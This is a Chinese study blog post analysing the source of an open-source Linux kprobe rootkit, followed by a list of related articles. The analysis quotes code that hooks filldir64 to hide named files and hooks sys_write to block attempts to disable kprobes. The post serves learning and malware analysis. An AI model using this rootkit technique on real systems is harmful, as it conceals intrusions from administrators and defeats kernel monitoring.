linux kprobe rootkit学习
介绍
《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码
kprobe
kprobe的介绍可以看下面这几篇文章
介绍:https://www.cnblogs.com/honpey/p/4575928.html
原理:https://www.cnblogs.com/honpey/p/4575902.html
用法:https://blog.csdn.net/luckyapple1028/article/details/52972315
rootkit
用来隐藏进程,文件等信息的恶意软件
关于rootkit用来实现隐藏的一些基本操作可以在这里看见:https://www.cnblogs.com/likaiming/p/11002351.html
使用kprobe来写rootkit
作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit
这里分析一下这个项目的源码
这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头
char *hidden_files[] =
{
#define HIDDEN_FILES_MAX 3
"test1",
"test2",
"test3"
};
在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置
filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");
然后就向这两个函数的开头和结尾注册了jprobe和retprobe
//向sys_write和filldir64注入jprobe和retprobe
register_kretprobe(&filldir64_kp);
register_kretprobe(&syswrite_kp); register_jprobe(&filldir64_jp);
register_jprobe(&syswrite_jp);
同时还会去找另外3个函数的地址,get_task_comn是获得
_sys_close = (void *)n_kallsyms_lookup_name("sys_close");
_sys_open = (void *)n_kallsyms_lookup_name("sys_open");
_get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");
然后有4个kprobe结构,包含着我们的实现代码
static struct jprobe syswrite_jp =
{
.entry = (kprobe_opcode_t *)j_sys_write
}; static struct jprobe filldir64_jp =
{
.entry = (kprobe_opcode_t *)j_filldir64
}; static struct kretprobe filldir64_kp =
{
.handler = filldir64_ret_handler,
.maxactive = NR_CPUS
}; static struct kretprobe syswrite_kp =
{
.handler = sys_write_ret_handler,
.maxactive = NR_CPUS
};
先看filldir64的两个函数
//遍历隐藏文件列表,查看是不是和隐藏文件同名
for (i = ; i < HIDDEN_FILES_MAX; i++)
if (strcmp(hidden_files[i], name) == )
found_hidden_file++;
if (!found_hidden_file)
goto end;
如果有,则记录在全局变量中
//全局指针,如果有,则记录下这么目录,
g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;
g_dentry.bypass++; // note that we want to bypass viewing this file
在返回的时候,如果发现是需要隐藏的目录,则直接清除掉
static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
{
char *ptr, null = ;
/* Someone is looking at one of our hidden files */
if (g_dentry.bypass)
{
/* Lets nullify the filename so it simply is invisible */
ptr = (char *)g_dentry.d_name_ptr;
copy_to_user((char *)ptr, &null, sizeof(char));
}
}
在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能
可以通过get_task_comn来获取进程的可执行文件名字
_get_task_comm(comm, current);
printk("comm: %s\n", comm);
if (strcmp(comm, "ls"))
goto do_inode_check;
else
/* check to see if this is an ls stat complaint, or ls -l weirdness */
/* There are two separate calls to sys_write hence two strstr checks */
if (strstr(s, "cannot access") || strstr(s, "ls:"))
{
printk("Going to redirect\n");
goto redirect;
}
然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled
//先得到file结构,然后得到dentry,最后再得到inode结构
file = fget(fd);
if (!file)
goto out;
dentry = dget(file->f_path.dentry);
if (!dentry)
goto out;
ino = dentry->d_inode->i_ino;
dput(dentry);
fput(file);
/* If someone tries to disable kprobes or tries to see our probes */
/* in /sys/kernel/debug/kprobes, it aint happening */
//enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值
if (ino == enabled_ino)
{
printk("ino: %u\n", ino);
goto redirect;
}
else
goto out;
最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样
//KERNEL_DS范围很大,到0xffffffffffffffff
mm_segment_t o_fs = get_fs();
set_fs(KERNEL_DS); _sys_close(fd);
fd = _sys_open(devnull, O_RDWR, ); set_fs(o_fs);
global_fd = fd;
关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html
在write写结束的位置,再关闭NULL文件就可以了。
linux kprobe rootkit学习的更多相关文章
- linux lkm rootkit常用技巧
简介 搜集一下linux lkm rootkit中常用的一些技巧 1.劫持系统调用 遍历地址空间 根据系统调用中的一些导出函数,比如sys_close的地址来寻找 unsigned long ** g ...
- 20135231 —— Linux 基础入门学习
20135231 何佳 学习计时:共12小时 读书:5 代码:2 作业:2 博客:3 一.学习目标 1. 能够独立安装Linux操作系统 2. 能够熟练使用Linux系统的基本命令 3. 熟练使用Li ...
- Linux系统新手学习的11点建议
随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux的一些建议. 一.从基础开始:常常有些朋友在Linux论 ...
- Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)
Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)
- Linux进程间通信IPC学习笔记之同步二(Posix 信号量)
Linux进程间通信IPC学习笔记之同步二(Posix 信号量)
- Linux进程间通信IPC学习笔记之消息队列(SVR4)
Linux进程间通信IPC学习笔记之消息队列(SVR4)
- Linux进程间通信IPC学习笔记之有名管道
基础知识: 有名管道,FIFO先进先出,它是一个单向(半双工)的数据流,不同于管道的是:是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)有一个与路径名关联的名 ...
- Linux进程间通信IPC学习笔记之管道
基础知识: 管道是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)没有名字: 2)用于共同祖先间的进程通信: 3)读写操作用read和write函数 #incl ...
- Linux防火墙iptables学习笔记(三)iptables命令详解和举例[转载]
Linux防火墙iptables学习笔记(三)iptables命令详解和举例 2008-10-16 23:45:46 转载 网上看到这个配置讲解得还比较易懂,就转过来了,大家一起看下,希望对您工作能 ...
随机推荐
- shell基础之一
Shell脚本自动化管理系统的必备基础: vim编辑器的熟练使用,SSH终端及“.vimrc”的设置等等需要熟悉. 命令基础:Linux的150个常用命令的熟练使用 Linux的正则表达式以及三剑客( ...
- MKAnnotation image offset with custom pin image
</pre><pre> Your UIAnnotationView is always drawn at the same scale, the map's zoom leve ...
- initData()
void initData(){ int i, j; //加载数据时让用户等待,一般情况加载数据比较快 printf("游戏加载中,请稍后........."); //遍历地图中的 ...
- C#_选择结构,Console的应用,数据类型转换
1:先看一个顺序结构编程,代码如下: using System; using System.Collections.Generic; using System.Linq; using System.T ...
- js获取整个屏幕的尺寸
原文 首先获取屏幕宽度:window.screen.width; //整个屏幕的宽度. 然后获取屏幕高度:window.screen.height; //整个屏幕的高度. 获取可用工作区 ...
- Linux dd烧写系统
虽然用dd指令烧写系统很简单,但是久而久之忘得也太快了,赶紧整理一下. .img 系统镜像 .iso U盘启动引导文件 1. 先来查看本机磁盘情况,打开Linux终端界面(快捷键Ctrl + Alt ...
- 同源策略和Ajax跨域访问
1. 什么是同源策略 理解跨域首先必须要了解同源策略.同源策略是浏览器上为安全性考虑实施的非常重要的安全策略. 何谓同源: URL由协议.域名.端口和路径组成,如果两个URL的协议 ...
- react数据渲染
现在需要在页面上显示一本书的章节,章节内容存放到一个数组里面: const lessons = [ { title: 'Lesson 1: title', description: 'Lesson 1 ...
- MySQL使用空事务解决slave从库errant问题
MySQL集群一般部署为主从架构,主库专门用于写入数据,从库用于读数据. 异常情况下,在从库上写入数据,就会出现主从数据不一致问题,称为errant. 如果从库上的这些数据主库上已经有了,或者主库不需 ...
- OGG ERRORS 总结
OGG ERRORS 总结 */--> OGG ERRORS 总结 Table of Contents 1. libnnz11.so 2. 00446 2.1. missing filename ...